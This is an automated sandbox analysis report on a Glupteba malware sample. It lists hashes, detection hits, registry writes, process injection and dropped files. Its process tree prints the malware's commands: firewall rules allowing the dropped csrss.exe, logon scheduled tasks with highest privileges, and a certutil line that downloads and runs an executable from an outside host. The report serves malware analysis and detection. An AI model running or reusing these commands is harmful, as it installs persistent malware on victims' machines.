Analysis
-
max time kernel
151s -
max time network
159s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 04:23
Static task
static1
Behavioral task
behavioral1
Sample
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Resource
win7-20220414-en
General
-
Target
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
-
Size
3.5MB
-
MD5
5635e26c47223e47e3a87856d2e004b5
-
SHA1
4bcb817e4479f2c78c068c6163bf2ea70283be96
-
SHA256
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b
-
SHA512
fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e
Malware Config
Signatures
-
Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/2100-136-0x0000000000400000-0x0000000000B27000-memory.dmp family_glupteba behavioral2/memory/2100-137-0x0000000000400000-0x0000000000B27000-memory.dmp family_glupteba behavioral2/memory/3220-147-0x0000000000400000-0x0000000000B27000-memory.dmp family_glupteba behavioral2/memory/3080-160-0x0000000000400000-0x0000000000B27000-memory.dmp family_glupteba -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 4936 created 2100 4936 svchost.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 4936 created 3080 4936 svchost.exe csrss.exe PID 4936 created 3080 4936 svchost.exe csrss.exe PID 4936 created 3080 4936 svchost.exe csrss.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.execsrss.exepatch.exepid process 3164 csrss.exe 3080 csrss.exe 8 patch.exe -
Modifies Windows Firewall 1 TTPs
-
Processes:
resource yara_rule behavioral2/memory/2100-133-0x0000000000400000-0x0000000000B27000-memory.dmp upx behavioral2/memory/2100-135-0x0000000000400000-0x0000000000B27000-memory.dmp upx behavioral2/memory/2100-136-0x0000000000400000-0x0000000000B27000-memory.dmp upx behavioral2/memory/2100-137-0x0000000000400000-0x0000000000B27000-memory.dmp upx behavioral2/memory/3220-147-0x0000000000400000-0x0000000000B27000-memory.dmp upx behavioral2/memory/3080-160-0x0000000000400000-0x0000000000B27000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BitterBreeze = "\"C:\\Windows\\rss\\csrss.exe\"" 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 3912 bcdedit.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.execsrss.exedescription pid process target process PID 3092 set thread context of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 set thread context of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3164 set thread context of 3080 3164 csrss.exe csrss.exe -
Drops file in Windows directory 2 IoCs
Processes:
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exedescription ioc process File opened for modification C:\Windows\rss 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe File created C:\Windows\rss\csrss.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3588 schtasks.exe 4208 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.execsrss.exepid process 2100 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 2100 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 3080 csrss.exe 3080 csrss.exe 3080 csrss.exe 3080 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 2100 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe Token: SeImpersonatePrivilege 2100 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe Token: SeTcbPrivilege 4936 svchost.exe Token: SeTcbPrivilege 4936 svchost.exe Token: SeBackupPrivilege 4936 svchost.exe Token: SeRestorePrivilege 4936 svchost.exe Token: SeBackupPrivilege 4936 svchost.exe Token: SeRestorePrivilege 4936 svchost.exe Token: SeSystemEnvironmentPrivilege 3080 csrss.exe Token: SeBackupPrivilege 4936 svchost.exe Token: SeRestorePrivilege 4936 svchost.exe Token: SeBackupPrivilege 4936 svchost.exe Token: SeRestorePrivilege 4936 svchost.exe Token: SeBackupPrivilege 4936 svchost.exe Token: SeRestorePrivilege 4936 svchost.exe Token: SeBackupPrivilege 4936 svchost.exe Token: SeRestorePrivilege 4936 svchost.exe -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exesvchost.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.execmd.execmd.execsrss.execsrss.exedescription pid process target process PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3092 wrote to memory of 2100 3092 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 4936 wrote to memory of 2536 4936 svchost.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 4936 wrote to memory of 2536 4936 svchost.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 4936 wrote to memory of 2536 4936 svchost.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 2536 wrote to memory of 3220 2536 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe PID 3220 wrote to memory of 1796 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe cmd.exe PID 3220 wrote to memory of 1796 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe cmd.exe PID 1796 wrote to memory of 3848 1796 cmd.exe netsh.exe PID 1796 wrote to memory of 3848 1796 cmd.exe netsh.exe PID 3220 wrote to memory of 2416 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe cmd.exe PID 3220 wrote to memory of 2416 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe cmd.exe PID 2416 wrote to memory of 3168 2416 cmd.exe netsh.exe PID 2416 wrote to memory of 3168 2416 cmd.exe netsh.exe PID 3220 wrote to memory of 3164 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe csrss.exe PID 3220 wrote to memory of 3164 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe csrss.exe PID 3220 wrote to memory of 3164 3220 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 3164 wrote to memory of 3080 3164 csrss.exe csrss.exe PID 4936 wrote to memory of 3588 4936 svchost.exe schtasks.exe PID 4936 wrote to memory of 3588 4936 svchost.exe schtasks.exe PID 4936 wrote to memory of 4208 4936 svchost.exe schtasks.exe PID 4936 wrote to memory of 4208 4936 svchost.exe schtasks.exe PID 4936 wrote to memory of 8 4936 svchost.exe patch.exe PID 4936 wrote to memory of 8 4936 svchost.exe patch.exe PID 3080 wrote to memory of 3912 3080 csrss.exe bcdedit.exe PID 3080 wrote to memory of 3912 3080 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"4⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23\f02377ff5b23.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23\f02377ff5b23.exe" enable=yes6⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"7⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.5MB
MD55635e26c47223e47e3a87856d2e004b5
SHA14bcb817e4479f2c78c068c6163bf2ea70283be96
SHA2568f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b
SHA512fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e
-
C:\Windows\rss\csrss.exeFilesize
3.5MB
MD55635e26c47223e47e3a87856d2e004b5
SHA14bcb817e4479f2c78c068c6163bf2ea70283be96
SHA2568f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b
SHA512fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e
-
C:\Windows\rss\csrss.exeFilesize
